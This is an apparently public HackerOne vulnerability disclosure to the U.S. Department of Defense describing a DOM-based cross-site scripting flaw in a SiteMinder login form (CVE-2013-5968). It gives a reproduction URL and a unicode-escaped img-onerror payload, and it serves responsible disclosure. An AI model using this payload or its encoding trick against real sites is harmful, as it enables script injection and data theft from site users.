U.S. Dept Of Defense · Report #1982099

DOM-XSS

Validstatus

mediumseverity

9upvotes

2 Jun 2023disclosed

How it was found

hello defense team : I found DOM-XSS-SiteMinder on this subdomain : https://████/

Impact

An attacker with access to the Siteminder CA could perform a cross-site scripting attack, which it would use to cause information leaks, privilege escalation, and/or denial of service.

System Host(s)

██████████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2013-5968

Steps to Reproduce

Steps : 1 go to https://███/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=7&USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e

XSS will be triggered

this is payload : \u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original